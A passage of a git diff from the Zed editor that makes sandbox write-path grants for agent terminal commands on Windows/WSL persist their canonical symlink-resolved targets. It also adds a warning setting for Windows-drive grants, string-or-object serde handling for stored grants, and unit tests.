+/// **platform-native** form: a Windows drive path stays `C:\...` (NTFS) and a
+/// WSL path stays a Linux-absolute `/...`. In both cases the path is resolved to
+/// its symlink/junction-free canonical target (so a granted junction or symlink
+/// is followed and shown/stored as its real target), and its backing filesystem
+/// is classified.
+///
+/// Crucially, *each side canonicalizes what it is authoritative about*:
+///
+/// * A **Windows drive path** is canonicalized on the **Windows host**. A
+///   junction (or symlink) on a Windows drive is a Windows filesystem object;
+///   WSL's DrvFs surfaces it as a plain symlink but cannot reliably resolve it
+///   (the `/proc/self/fd` readback that follows an ext4 symlink to its real
+///   target does not follow a DrvFs junction). Resolving it WSL-side would
+///   therefore store the junction unresolved and then reject it at enforcement,
+///   where [`crate::util::CanonicalPathBuf::from_canonical`] refuses a symlink
+///   leaf. `std::fs::canonicalize` follows the junction/symlink chain and
+///   confirms the target exists.
+/// * A **WSL path** is canonicalized inside **WSL** via the in-distro helper —
+///   Windows can't follow ext4 symlinks.
+///
+/// Either way the persisted canonical is re-verified in the enforcement
+/// namespace by `from_canonical` (which opens it `O_NOFOLLOW` and pins the
+/// inode), so a component swapped for a symlink/junction after approval still
+/// fails closed.
+///
+/// A local project (the only kind that is sandboxed) has NTFS files, so grants
+/// are either those `C:\...` paths or WSL-native scratch locations named with
+/// `/...`; `\\wsl.localhost\...` and other shapes are rejected. There is no
+/// distro to pin — a sandboxed command runs in exactly one distro (the project's
+/// or WSL's default), so a bare Linux path is unambiguous.
+pub async fn resolve_canonical_for_grant(
+    requested: PathBuf,
+    wsl_zed_release: (String, String),
+) -> Result<ResolvedGrant> {
+    let path_string = requested.to_string_lossy();
+
+    // A Windows drive grant (NTFS) is resolved on the Windows host, which is
+    // authoritative about junctions and symlinks (see the doc comment above).
+    if parse_native_drive_path(&path_string).is_ok() {
+        let canonical = smol::fs::canonicalize(&requested).await.with_context(|| {
+            format!(
+                "failed to resolve writable path `{}` on the Windows host",
+                requested.display()
+            )
+        })?;
+        // `canonicalize` yields a `\\?\` verbatim path; store the plain native
+        // spelling so a non-junction grant compares equal to what was requested.
+        // A junction resolving off the local drives (onto a UNC/WSL path) is
+        // rejected — only a Windows drive path maps to a DrvFs bind.
+        let canonical = strip_windows_verbatim_prefix(canonical);
+        ensure!(
+            parse_native_drive_path(&canonical.to_string_lossy()).is_ok(),
+            "cannot grant sandbox write access to `{}`: it resolves to `{}`, \
+             which is not a Windows drive path",
+            requested.display(),
+            canonical.display()
+        );
+        // A Windows drive is reached inside WSL via DrvFs (weaker guarantees), so
+        // a native-drive grant is on a Windows filesystem by definition.
+        return Ok(ResolvedGrant {
+            canonical,
+            on_windows_fs: true,
+        });
+    }
+
+    // Otherwise the grant must be a Linux-absolute WSL path, which only WSL can
+    // canonicalize. `\\wsl.localhost\...` and other shapes are rejected.
+    let wsl_path = parse_wsl_absolute_path(&path_string).map_err(|_| {
+        anyhow::anyhow!(
+            "cannot grant sandbox write access to `{}`: only Windows drive paths \
+             (`C:\\...`) and WSL absolute paths (`/...`) are supported",
+            requested.display()
+        )
+    })?;
+    let mapping = PathMapping::Wsl(wsl_path);
+
+    let wsl_exe = wsl_exe_path();
+    if !wsl_exe.is_file() {
+        return Err(unavailable(format!(
+            "WSL (`wsl.exe`) was not found at `{}`",
+            wsl_exe.display()
+        )));
+    }
+
+    // Translate + existence-check the path inside WSL, then resolve its
+    // symlink-free canonical (and classify its filesystem) via the helper. No
+    // distro is pinned — a sandboxed command runs in one distro.
+    let translated = resolve_paths(&wsl_exe, None, &[(mapping, "writable path", true)])
+        .await?
+        .into_iter()
+        .next()
+        .context("bug: missing resolved writable path")?
+        .context("bug: required writable path resolved as missing")?;
+    let (channel, version) = wsl_zed_release;
+    let helper = ensure_wsl_zed_helper(&wsl_exe, None, &channel, &version).await?;
+    let output = run_wsl_command(
+        &wsl_exe,
+        None,
+        [
+            "--exec",
+            helper.as_str(),
+            crate::WSL_SANDBOX_RESOLVE_FLAG,
+            translated.as_str(),
+        ],
+        "resolve a sandbox write grant",
+    )
+    .await?;
+    if !output.status.success() {
+        return Err(anyhow::anyhow!(
+            "failed to resolve writable path `{}`{}",
+            requested.display(),
+            command_failure_details(output.status.code(), &output.stderr)
+        ));
+    }
+    let stdout = String::from_utf8(output.stdout)
+        .context("WSL sandbox helper returned a non-UTF-8 canonical path")?;
+    parse_canonical_grant_output(&stdout)
+}
+
+/// Strip the `\\?\` verbatim prefix that `std::fs::canonicalize` prepends to a
+/// Windows drive path, leaving `\\?\UNC\...` untouched (it is not a drive path,
+/// and is rejected by the caller). We persist and display the plain `C:\...`
+/// spelling so a non-junction grant compares equal to the requested path.
+fn strip_windows_verbatim_prefix(path: PathBuf) -> PathBuf {
+    let text = path.to_string_lossy();
+    match text.strip_prefix(r"\\?\") {
+        Some(rest) if !rest.starts_with("UNC\\") => PathBuf::from(rest),
+        _ => path,
+    }
+}
+
+/// `on_windows_fs` word emitted by the resolver for a Windows-hosted (DrvFs)
+/// canonical target.
+const RESOLVE_WINDOWS_FS: &str = "windows-fs";
+/// `on_windows_fs` word emitted by the resolver for a distro-native canonical
+/// target.
+const RESOLVE_NATIVE_FS: &str = "native-fs";
+
 /// Wrap a Linux process invocation so it runs under Bubblewrap inside WSL.
 ///
 /// `program` and `args` must name a Linux executable and Linux argv, not a
@@ -270,7 +437,7 @@ impl PathMapping {
 pub async fn wrap_invocation<S: std::hash::BuildHasher>(
     program: String,
     args: Vec<String>,
-    writable_paths: Vec<PathBuf>,
+    writable_paths: Vec<WritablePath>,
     protected_paths: Vec<PathBuf>,
     permissions: SandboxPermissions,
     cwd: Option<PathBuf>,
@@ -294,11 +461,25 @@ pub async fn wrap_invocation<S: std::hash::BuildHasher>(
             None => None,
         };
 
+    let writable_requested_mappings = writable_paths
+        .iter()
+        .map(|path| {
+            path_to_wsl(&path.requested).with_context(|| {
+                format!(
+                    "failed to map writable path `{}` into WSL",
+                    path.requested.display()
+                )
+            })
+        })
+        .collect::<Result<Vec<_>>>()?;
     let writable_mappings = writable_paths
         .iter()
         .map(|path| {
-            path_to_wsl(path).with_context(|| {
-                format!("failed to map writable path `{}` into WSL", path.display())
+            path_to_wsl(&path.canonical).with_context(|| {
+                format!(
+                    "failed to map canonical writable path `{}` into WSL",
+                    path.canonical.display()
+                )
             })
         })
         .collect::<Result<Vec<_>>>()?;
@@ -313,7 +494,10 @@ pub async fn wrap_invocation<S: std::hash::BuildHasher>(
 
     let distro = select_distro(
         cwd_mapping.as_ref(),
-        writable_mappings.iter().chain(protected_mappings.iter()),
+        writable_requested_mappings
+            .iter()
+            .chain(writable_mappings.iter())
+            .chain(protected_mappings.iter()),
     )?;
     let wsl_exe = wsl_exe_path();
     if !wsl_exe.is_file() {
@@ -370,8 +554,8 @@ pub async fn wrap_invocation<S: std::hash::BuildHasher>(
 
     match wsl_zed_release {
         // Preferred path: run the in-WSL `zed` as the sandbox helper, which
-        // captures the writable binds' inodes WSL-side and validates them after
-        // bwrap's mounts (the same in-sandbox check native Linux performs).
+        // verifies and pins the persisted canonical writable paths WSL-side,
+        // then validates them again after bwrap's mounts.
         Some((channel, version)) => {
             let helper =
                 ensure_wsl_zed_helper(&wsl_exe, distro.as_deref(), &channel, &version).await?;
@@ -403,6 +587,41 @@ pub async fn wrap_invocation<S: std::hash::BuildHasher>(
     Ok((wsl_exe.to_string_lossy().into_owned(), wsl_args))
 }
 
+fn parse_canonical_grant_output(stdout: &str) -> Result<ResolvedGrant> {
+    let mut lines = stdout.lines();
+    let distro = lines
+        .next()
+        .context("WSL sandbox helper omitted the distro name")?;
+    let canonical = lines
+        .next()
+        .context("WSL sandbox helper omitted the canonical path")?;
+    let fs_class = lines
+        .next()
+        .context("WSL sandbox helper omitted the filesystem class")?;
+    let on_windows_fs = match fs_class {
+        RESOLVE_WINDOWS_FS => true,
+        RESOLVE_NATIVE_FS => false,
+        _ => bail!("WSL sandbox helper returned an invalid filesystem class: {fs_class:?}"),
+    };
+    ensure!(
+        lines.next().is_none()
+            && !distro.is_empty()
+            && !distro.contains(['/', '\\'])
+            && canonical.starts_with('/'),
+        "WSL sandbox helper returned invalid canonical-path output: {stdout:?}"
+    );
+    // Store the canonical as the Linux path bwrap actually binds. The distro is
+    // pinned at enforcement from the *requested* path (see `wrap_invocation`),
+    // so it is not re-encoded here: spelling the canonical as
+    // `\\wsl.localhost\<distro>\...` would resurface the Windows-style path we
+    // avoid and, because it names the same object as the request, show as a
+    // spurious redirect in the approval UI.
+    Ok(ResolvedGrant {
+        canonical: PathBuf::from(canonical),
+        on_windows_fs,
+    })
+}
+
 fn split_resolved_paths(
     has_cwd: bool,
     writable_path_count: usize,
@@ -620,6 +839,18 @@ async fn ensure_wsl_zed_helper(
     channel: &str,
     version: &str,
 ) -> Result<String> {
+    // TODO: Remove this development override once WSL canonical-path handling is released.
+    if let Some(helper) = std::env::var_os("ZED_WSL_SANDBOX_HELPER") {
+        let helper = helper
+            .into_string()
+            .map_err(|_| anyhow::anyhow!("ZED_WSL_SANDBOX_HELPER is not valid UTF-8"))?;
+        ensure!(
+            helper.starts_with('/'),
+            "ZED_WSL_SANDBOX_HELPER must be an absolute path inside WSL"
+        );
+        return Ok(helper);
+    }
+
     type HelperCache = HashMap<(Option<String>, String, String), String>;
     static CACHE: OnceLock<Mutex<HelperCache>> = OnceLock::new();
     let cache = CACHE.get_or_init(|| Mutex::new(HashMap::new()));
@@ -1425,6 +1656,37 @@ mod tests {
         assert!(guard_index < smoke_test_index);
     }
 
+    #[test]
+    fn canonical_grant_output_returns_the_linux_canonical_path() {
+        let resolved =
+            parse_canonical_grant_output("Ubuntu-24.04\n/home/me/real target\nnative-fs\n")
+                .expect("valid helper output");
+        // The bare Linux path, not a `\\wsl.localhost\...` spelling.
+        assert_eq!(resolved.canonical, PathBuf::from("/home/me/real target"));
+        assert!(!resolved.on_windows_fs);
+
+        let resolved = parse_canonical_grant_output("Ubuntu\n/mnt/c/Users/me/proj\nwindows-fs\n")
+            .expect("valid helper output");
+        assert_eq!(resolved.canonical, PathBuf::from("/mnt/c/Users/me/proj"));
+        assert!(resolved.on_windows_fs);
+    }
+
+    #[test]
+    fn canonical_grant_output_rejects_malformed_protocol() {
+        // Missing filesystem-class line.
+        assert!(parse_canonical_grant_output("Ubuntu\n/home/me/project\n").is_err());
+        // Non-absolute canonical path.
+        assert!(parse_canonical_grant_output("Ubuntu\nrelative\nnative-fs\n").is_err());
+        // Distro name containing a separator.
+        assert!(parse_canonical_grant_output("Ubuntu/bad\n/home/me/project\nnative-fs\n").is_err());
+        // Unknown filesystem class.
+        assert!(parse_canonical_grant_output("Ubuntu\n/home/me/project\nmaybe-fs\n").is_err());
+        // Trailing junk after the filesystem class.
+        assert!(
+            parse_canonical_grant_output("Ubuntu\n/home/me/project\nnative-fs\nnoise\n").is_err()
+        );
+    }
+
     #[test]
     fn split_resolved_paths_keeps_existing_protected_paths_and_skips_missing_ones() {
         let (cwd, writable_paths, protected_paths) = split_resolved_paths(
@@ -1884,6 +2146,26 @@ mod tests {
         );
     }
 
+    #[test]
+    fn strip_windows_verbatim_prefix_only_strips_drive_paths() {
+        // `canonicalize` yields `\\?\C:\...`; the plain native spelling is stored.
+        assert_eq!(
+            strip_windows_verbatim_prefix(PathBuf::from(r"\\?\C:\Users\me\dir")),
+            PathBuf::from(r"C:\Users\me\dir")
+        );
+        // A `\\?\UNC\...` path is not a drive path and is left intact (the caller
+        // rejects it).
+        assert_eq!(
+            strip_windows_verbatim_prefix(PathBuf::from(r"\\?\UNC\wsl.localhost\Ubuntu\home")),
+            PathBuf::from(r"\\?\UNC\wsl.localhost\Ubuntu\home")
+        );
+        // A path without the prefix is unchanged.
+        assert_eq!(
+            strip_windows_verbatim_prefix(PathBuf::from(r"C:\already\plain")),
+            PathBuf::from(r"C:\already\plain")
+        );
+    }
+
     #[test]
     fn map_path_to_wsl_strips_verbatim_prefix_for_wslpath() {
         let mapping = map_path_to_wsl(Path::new(r"\\?\D:\workspace")).unwrap();
diff --git a/crates/sandbox/src/wsl_sandbox_test_helper.rs b/crates/sandbox/src/wsl_sandbox_test_helper.rs
index 6f46e87f45100c..f7ab1d759dac83 100644
--- a/crates/sandbox/src/wsl_sandbox_test_helper.rs
+++ b/crates/sandbox/src/wsl_sandbox_test_helper.rs
@@ -519,7 +519,7 @@ mod imp {
                     // the real capture happens WSL-side in the helper.
                     writable_paths: writable_paths
                         .iter()
-                        .filter_map(|path| HostFilesystemLocation::new(path).ok())
+                        .filter_map(|path| HostFilesystemLocation::capture(path).ok())
                         .collect(),
                     protected_paths: Vec::new(),
                 }
diff --git a/crates/settings/src/granted_write_path.rs b/crates/settings/src/granted_write_path.rs
new file mode 100644
index 00000000000000..9fdc863184dab1
--- /dev/null
+++ b/crates/settings/src/granted_write_path.rs
@@ -0,0 +1,125 @@
+use std::path::{Path, PathBuf};
+
+/// A sandbox writable-path grant, paired with the canonical target it was
+/// resolved to when it was approved.
+///
+/// Persisting the resolved canonical path (rather than re-resolving the
+/// requested path by string at enforcement time) closes a symlink TOCTOU hole:
+/// the path that is actually enforced is the one that was vetted at approval
+/// time.
+#[derive(Clone, Debug, PartialEq, Eq)]
+pub struct GrantedWritePath {
+    /// The path exactly as the user/model requested it (untrusted; display/provenance).
+    pub requested: PathBuf,
+    /// The canonical, symlink-resolved target established when the grant was
+    /// approved. `None` for a legacy/hand-authored bare-string settings entry,
+    /// which is resolved fresh at enforcement time.
+    pub resolved: Option<PathBuf>,
+    /// Windows/WSL only: whether the canonical target lives on a Windows-hosted
+    /// (DrvFs) filesystem, whose sandbox-integrity guarantees are weaker than a
+    /// distro-native filesystem. Recorded at approval time (after the user was
+    /// shown the weaker-guarantee warning) so later commands can reuse the grant
+    /// without re-classifying it. Always `false` on other platforms and for
+    /// legacy/bare-string entries.
+    pub on_windows_fs: bool,
+}
+
+impl GrantedWritePath {
+    /// A grant from a bare requested path with no resolved canonical target
+    /// (resolved fresh at enforcement time).
+    pub fn from_requested(requested: PathBuf) -> Self {
+        Self {
+            requested,
+            resolved: None,
+            on_windows_fs: false,
+        }
+    }
+
+    /// A grant whose canonical target was resolved when it was approved. Assumes
+    /// a native (non-Windows-hosted) filesystem; use [`Self::resolved_on_fs`] to
+    /// record the Windows/WSL DrvFs classification.
+    pub fn resolved(requested: PathBuf, resolved: PathBuf) -> Self {
+        Self::resolved_on_fs(requested, resolved, false)
+    }
+
+    /// A grant whose canonical target was resolved when it was approved,
+    /// recording whether that target lives on a Windows-hosted (DrvFs)
+    /// filesystem.
+    pub fn resolved_on_fs(requested: PathBuf, resolved: PathBuf, on_windows_fs: bool) -> Self {
+        Self {
+            requested,
+            resolved: Some(resolved),
+            on_windows_fs,
+        }
+    }
+
+    /// The path used for lexical subtree/coverage/dedup logic: the resolved
+    /// canonical target when known (the real grant), otherwise the requested
+    /// path.
+    pub fn canonical_or_requested(&self) -> &Path {
+        self.resolved.as_deref().unwrap_or(&self.requested)
+    }
+}
+
+// Hand-written serde so grants round-trip with legacy persisted data: a bare
+// JSON string deserializes to `{ requested, resolved: None }`, and a `None`
+// resolved serializes back as a bare string. This mirrors the string-or-object
+// approach used by `GrantedWritePathContent` in `settings_content`.
+impl serde::Serialize for GrantedWritePath {
+    fn serialize<S: serde::Serializer>(&self, serializer: S) -> Result<S::Ok, S::Error> {
+        match &self.resolved {
+            None => self.requested.serialize(serializer),
+            Some(resolved) => {
+                use serde::ser::SerializeStruct as _;
+                // Emit `on_windows_fs` only when set, so native grants (the
+                // common case, and every grant on non-Windows platforms) keep
+                // the compact two-field form and legacy rows round-trip.
+                let field_count = if self.on_windows_fs { 3 } else { 2 };
+                let mut state = serializer.serialize_struct("GrantedWritePath", field_count)?;
+                state.serialize_field("requested", &self.requested)?;
+                state.serialize_field("resolved", resolved)?;
+                if self.on_windows_fs {
+                    state.serialize_field("on_windows_fs", &self.on_windows_fs)?;
+                }
+                state.end()
+            }
+        }
+    }
+}
+
+impl<'de> serde::Deserialize<'de> for GrantedWritePath {
+    fn deserialize<D: serde::Deserializer<'de>>(deserializer: D) -> Result<Self, D::Error> {
+        #[derive(serde::Deserialize)]
+        struct Object {
+            requested: PathBuf,
+            #[serde(default)]
+            resolved: Option<PathBuf>,
+            #[serde(default)]
+            on_windows_fs: bool,
+        }
+
+        #[derive(serde::Deserialize)]
+        #[serde(untagged)]
+        enum StringOrObject {
+            String(PathBuf),
+            Object(Object),
+        }
+
+        Ok(match StringOrObject::deserialize(deserializer)? {
+            StringOrObject::String(requested) => Self {
+                requested,
+                resolved: None,
+                on_windows_fs: false,
+            },
+            StringOrObject::Object(Object {
+                requested,
+                resolved,
+                on_windows_fs,
+            }) => Self {
+                requested,
+                resolved,
+                on_windows_fs,
+            },
+        })
+    }
+}
diff --git a/crates/settings/src/settings.rs b/crates/settings/src/settings.rs
index 538e2aa2968608..b5daebdae003b5 100644
--- a/crates/settings/src/settings.rs
+++ b/crates/settings/src/settings.rs
@@ -2,6 +2,7 @@ mod base_keymap_setting;
 mod content_into_gpui;
 mod editable_setting_control;
 mod editorconfig_store;
+mod granted_write_path;
 mod keymap_file;
 mod settings_file;
 mod settings_store;
@@ -37,6 +38,7 @@ pub use editable_setting_control::*;
 pub use editorconfig_store::{
     Editorconfig, EditorconfigEvent, EditorconfigProperties, EditorconfigStore,
 };
+pub use granted_write_path::GrantedWritePath;
 pub use keymap_file::{
     KeyBindingValidator, KeyBindingValidatorRegistration, KeybindSource, KeybindUpdateOperation,
     KeybindUpdateTarget, KeymapFile, KeymapFileLoadResult,
diff --git a/crates/settings_content/src/agent.rs b/crates/settings_content/src/agent.rs
index a365f675b14579..1a90e05b675c90 100644
--- a/crates/settings_content/src/agent.rs
+++ b/crates/settings_content/src/agent.rs
@@ -3,7 +3,10 @@ use schemars::{JsonSchema, json_schema};
 use serde::{Deserialize, Serialize};
 use settings_macros::{MergeFrom, with_fallible_options};
 use std::sync::Arc;
-use std::{borrow::Cow, path::PathBuf};
+use std::{
+    borrow::Cow,
+    path::{Path, PathBuf},
+};
 
 use crate::ExtendingVec;
 
@@ -497,7 +500,7 @@ impl AgentSettingsContent {
             .allow_unsandboxed = Some(true);
     }
 
-    pub fn add_sandbox_write_path(&mut self, path: PathBuf) {
+    pub fn add_sandbox_write_path(&mut self, granted: GrantedWritePathContent) {
         let write_paths = &mut self
             .sandbox_permissions
             .get_or_insert_default()
@@ -505,7 +508,17 @@ impl AgentSettingsContent {
             .get_or_insert_default()
             .0;
 
-        util::paths::insert_subtree(write_paths, path);
+        // Mirror `util::paths::insert_subtree`, keeping the grant set minimal,
+        // but compare by each entry's canonical (resolved) grant path.
+        let canonical = granted.canonical_or_requested().to_path_buf();
+        if write_paths
+            .iter()
+            .any(|existing| canonical.starts_with(existing.canonical_or_requested()))
+        {
+            return;
+        }
+        write_paths.retain(|existing| !existing.canonical_or_requested().starts_with(&canonical));
+        write_paths.push(granted);
     }
 }
 
@@ -785,6 +798,113 @@ pub enum CustomAgentServerSettings {
     },
 }
 
+/// A persisted sandbox writable-path grant. Deserializes from either a bare
+/// path string (`"/tmp/x"`, a legacy/hand-authored entry with no resolved
+/// target) or an object (`{ "requested": "/tmp/x", "resolved": "/tmp/real" }`).
+/// Serializes back as a bare string when `resolved` is `None` and as an object
+/// otherwise, so hand-authored bare strings round-trip and Zed-written grants
+/// are objects.
+#[derive(Clone, Debug, Default, PartialEq, MergeFrom)]
+pub struct GrantedWritePathContent {
+    /// The path exactly as the user/model requested it.
+    pub requested: PathBuf,
+    /// The canonical, symlink-resolved target established when the grant was
+    /// approved. Absent for a bare-string entry.
+    pub resolved: Option<PathBuf>,
+    /// Windows/WSL only: whether the canonical target lives on a Windows-hosted
+    /// (DrvFs) filesystem, whose sandbox-integrity guarantees are weaker. Absent
+    /// (false) on other platforms and for bare-string entries.
+    pub on_windows_fs: bool,
+}
+
+impl GrantedWritePathContent {
+    /// The path used for lexical subtree/coverage/dedup logic: the resolved
+    /// canonical target when known, otherwise the requested path.
+    fn canonical_or_requested(&self) -> &Path {
+        self.resolved.as_deref().unwrap_or(&self.requested)
+    }
+}
+
+impl Serialize for GrantedWritePathContent {
+    fn serialize<S: serde::Serializer>(&self, serializer: S) -> Result<S::Ok, S::Error> {
+        match &self.resolved {
+            None => self.requested.serialize(serializer),
+            Some(resolved) => {
+                use serde::ser::SerializeStruct as _;
+                let field_count = if self.on_windows_fs { 3 } else { 2 };
+                let mut state =
+                    serializer.serialize_struct("GrantedWritePathContent", field_count)?;
+                state.serialize_field("requested", &self.requested)?;
+                state.serialize_field("resolved", resolved)?;
+                if self.on_windows_fs {
+                    state.serialize_field("on_windows_fs", &self.on_windows_fs)?;
+                }
+                state.end()
+            }
+        }
+    }
+}
+
+impl<'de> Deserialize<'de> for GrantedWritePathContent {
+    fn deserialize<D: serde::Deserializer<'de>>(deserializer: D) -> Result<Self, D::Error> {
+        #[derive(Deserialize)]
+        struct Object {
+            requested: PathBuf,
+            #[serde(default)]
+            resolved: Option<PathBuf>,
+            #[serde(default)]
+            on_windows_fs: bool,
+        }
+
+        #[derive(Deserialize)]
+        #[serde(untagged)]
+        enum StringOrObject {
+            String(PathBuf),
+            Object(Object),
+        }
+
+        Ok(match StringOrObject::deserialize(deserializer)? {
+            StringOrObject::String(requested) => Self {
+                requested,
+                resolved: None,
+                on_windows_fs: false,
+            },
+            StringOrObject::Object(Object {
+                requested,
+                resolved,
+                on_windows_fs,
+            }) => Self {
+                requested,
+                resolved,
+                on_windows_fs,
+            },
+        })
+    }
+}
+
+impl JsonSchema for GrantedWritePathContent {
+    fn schema_name() -> Cow<'static, str> {
+        "GrantedWritePathContent".into()
+    }
+
+    fn json_schema(_: &mut schemars::SchemaGenerator) -> schemars::Schema {
+        json_schema!({
+            "oneOf": [
+                { "type": "string" },
+                {
+                    "type": "object",
+                        "properties": {
+                        "requested": { "type": "string" },
+                        "resolved": { "type": ["string", "null"] },
+                        "on_windows_fs": { "type": "boolean" }
+                    },
+                    "required": ["requested"]
+                }
+            ]
+        })
+    }
+}
+
 #[with_fallible_options]
 #[derive(Clone, Debug, Default, PartialEq, Serialize, Deserialize, JsonSchema, MergeFrom)]
 pub struct SandboxPermissionsContent {
@@ -814,9 +934,13 @@ pub struct SandboxPermissionsContent {
     pub allow_unsandboxed: Option<bool>,
 
     /// Directory subtrees that sandboxed terminal commands may always write
-    /// to without prompting. Paths written by Zed are absolute.
+    /// to without prompting. Each entry is either a bare path string or an
+    /// object `{requested, resolved}`; Zed writes objects (the canonical,
+    /// symlink-resolved target established at approval time), while
+    /// hand-authored entries may be bare path strings. Paths written by Zed
+    /// are absolute.
     /// Default: []
-    pub write_paths: Option<ExtendingVec<PathBuf>>,
+    pub write_paths: Option<ExtendingVec<GrantedWritePathContent>>,
 
     /// Whether to warn when a sandbox escalation prompt requests a domain or
     /// write path that contains potentially confusable Unicode characters
@@ -825,6 +949,14 @@ pub struct SandboxPermissionsContent {
     /// the request can be allowed.
     /// Default: true
     pub warn_confusable_unicode: Option<bool>,
+
+    /// Whether to warn (Windows/WSL only) when a sandbox grant targets a file on
+    /// a Windows-hosted (DrvFs) filesystem. Such grants are enforced inside WSL
+    /// via a translated path, and their sandbox-integrity guarantees are weaker
+    /// than a distro-native filesystem. When enabled, such grants show a warning
+    /// that must be acknowledged before the command runs.
+    /// Default: true
+    pub warn_ntfs_grants: Option<bool>,
 }
 
 #[with_fallible_options]
@@ -1148,7 +1280,11 @@ mod tests {
         );
         settings.allow_sandbox_fs_write_all();
         settings.allow_sandbox_unsandboxed();
-        settings.add_sandbox_write_path(PathBuf::from("/tmp/build"));
+        settings.add_sandbox_write_path(GrantedWritePathContent {
+            requested: PathBuf::from("/tmp/build"),
+            resolved: None,
+            on_windows_fs: false,
+        });
 
         let sandbox_permissions = settings.sandbox_permissions.as_ref().unwrap();
         assert_eq!(sandbox_permissions.allow_all_hosts, Some(true));
@@ -1170,7 +1306,11 @@ mod tests {
                 .unwrap()
                 .0
                 .as_slice(),
-            &[PathBuf::from("/tmp/build")]
+            &[GrantedWritePathContent {
+                requested: PathBuf::from("/tmp/build"),
+                resolved: None,
+                on_windows_fs: false,
+            }]
         );
     }
 
@@ -1178,9 +1318,21 @@ mod tests {
     fn test_add_sandbox_write_path_prunes_redundant_paths() {
         let mut settings = AgentSettingsContent::default();
 
-        settings.add_sandbox_write_path(PathBuf::from("/tmp/build/cache"));
-        settings.add_sandbox_write_path(PathBuf::from("/tmp/build"));
-        settings.add_sandbox_write_path(PathBuf::from("/tmp/build/output"));
+        settings.add_sandbox_write_path(GrantedWritePathContent {
+            requested: PathBuf::from("/tmp/build/cache"),
+            resolved: None,
+            on_windows_fs: false,
+        });
+        settings.add_sandbox_write_path(GrantedWritePathContent {
+            requested: PathBuf::from("/tmp/build"),
+            resolved: None,
+            on_windows_fs: false,
+        });
+        settings.add_sandbox_write_path(GrantedWritePathContent {
+            requested: PathBuf::from("/tmp/build/output"),
+            resolved: None,
+            on_windows_fs: false,
+        });
 
         let write_paths = settings
             .sandbox_permissions
@@ -1191,6 +1343,78 @@ mod tests {
             .unwrap()
             .0
             .as_slice();
-        assert_eq!(write_paths, &[PathBuf::from("/tmp/build")]);
+        assert_eq!(
+            write_paths,
+            &[GrantedWritePathContent {
+                requested: PathBuf::from("/tmp/build"),
+                resolved: None,
+                on_windows_fs: false,
+            }]
+        );
+    }
+
+    #[test]
+    fn test_granted_write_path_content_deserializes_string_or_object() {
+        let from_string: GrantedWritePathContent =
+            serde_json::from_value(serde_json::json!("/tmp/x")).unwrap();
+        assert_eq!(
+            from_string,
+            GrantedWritePathContent {
+                requested: PathBuf::from("/tmp/x"),
+                resolved: None,
+                on_windows_fs: false,
+            }
+        );
+
+        let from_object: GrantedWritePathContent = serde_json::from_value(
+            serde_json::json!({ "requested": "/tmp/x", "resolved": "/tmp/real" }),
+        )
+        .unwrap();
+        assert_eq!(
+            from_object,
+            GrantedWritePathContent {
+                requested: PathBuf::from("/tmp/x"),
+                resolved: Some(PathBuf::from("/tmp/real")),
+                on_windows_fs: false,
+            }
+        );
+
+        // `resolved` is optional in the object form.
+        let object_without_resolved: GrantedWritePathContent =
+            serde_json::from_value(serde_json::json!({ "requested": "/tmp/x" })).unwrap();
+        assert_eq!(
+            object_without_resolved,
+            GrantedWritePathContent {
+                requested: PathBuf::from("/tmp/x"),
+                resolved: None,
+                on_windows_fs: false,
+            }
+        );
+    }
+
+    #[test]
+    fn test_granted_write_path_content_serializes_string_or_object() {
+        // No resolved target serializes as a bare string, so hand-authored
+        // bare strings round-trip.
+        let bare = GrantedWritePathContent {
+            requested: PathBuf::from("/tmp/x"),
+            resolved: None,
+            on_windows_fs: false,
+        };
+        assert_eq!(
+            serde_json::to_value(&bare).unwrap(),
+            serde_json::json!("/tmp/x")
+        );
+
+        // A resolved target serializes as an object.
+        let resolved = GrantedWritePathContent {
+            requested: PathBuf::from("/tmp/x"),
+            resolved: Some(PathBuf::from("/tmp/real")),
+            on_windows_fs: false,
+        };
+        assert_eq!(
+            serde_json::to_value(&resolved).unwrap(),
+            serde_json::json!({ "requested": "/tmp/x", "resolved": "/tmp/real" })
+        );
     }
 }
diff --git a/crates/settings_ui/src/pages/sandbox_settings.rs b/crates/settings_ui/src/pages/sandbox_settings.rs
index 533054f015f5f6..964345e768055f 100644
--- a/crates/settings_ui/src/pages/sandbox_settings.rs
+++ b/crates/settings_ui/src/pages/sandbox_settings.rs
@@ -183,6 +183,21 @@ pub(crate) fn render_sandbox_settings_page(
                         },
                     )
                     .tab_index(0),
+                )
+                .child(
+                    SwitchField::new(
+                        "sandbox-warn-ntfs-grants",
+                        Some("Warn About Windows-Drive Grants"),
+                        Some(
+                            "Windows only: warn when a sandbox grant targets a file on a Windows drive (accessed inside WSL via DrvFs). Such grants are enforced through a translated path and their sandbox-integrity guarantees are weaker than files on the Linux distro's own filesystem."
+                                .into(),
+                        ),
+                        permissions.warn_ntfs_grants,
+                        move |state, _window, cx| {
+                            set_warn_ntfs_grants(*state == ToggleState::Selected, cx);
+                        },
+                    )
+                    .tab_index(0),
                 ),
         )
         )
@@ -393,9 +408,18 @@ fn raw_sandbox_lists(cx: &App) -> (Vec<String>, Vec<PathBuf>) {
         .and_then(|permissions| permissions.network_hosts.as_ref())
         .map(|hosts| hosts.0.clone())
         .unwrap_or_default();
+    // Display and match on the requested path of each entry (the literal a
+    // hand-edit types); Zed-written "allow always" grants also carry a resolved
+    // canonical, but the settings row still keys off the requested path.
     let write_paths = permissions
         .and_then(|permissions| permissions.write_paths.as_ref())
-        .map(|paths| paths.0.clone())
+        .map(|paths| {
+            paths
+                .0
+                .iter()
+                .map(|entry| entry.requested.clone())
+                .collect()
+        })
         .unwrap_or_default();
 
     (network_hosts, write_paths)
@@ -464,6 +488,12 @@ fn set_warn_confusable_unicode(value: bool, cx: &mut App) {
     });
 }
 
+fn set_warn_ntfs_grants(value: bool, cx: &mut App) {
+    update_sandbox_permissions(cx, move |permissions| {
+        permissions.warn_ntfs_grants = Some(value);
+    });
+}
+
 fn add_network_host(host: String, cx: &mut App) {
     update_sandbox_permissions(cx, move |permissions| {
         let hosts = &mut permissions.network_hosts.get_or_insert_default().0;
@@ -493,17 +523,33 @@ fn remove_network_host(host: String, cx: &mut App) {
     });
 }
 
+/// Insert a hand-authored write-path entry (no resolved canonical) into the
+/// settings list as a minimal subtree, mirroring `util::paths::insert_subtree`
+/// but over [`settings::GrantedWritePathContent`] keyed on the requested path.
+fn insert_write_path_subtree(paths: &mut Vec<settings::GrantedWritePathContent>, path: PathBuf) {
+    if paths.iter().any(|entry| path.starts_with(&entry.requested)) {
+        return;
+    }
+    paths.retain(|entry| !entry.requested.starts_with(&path));
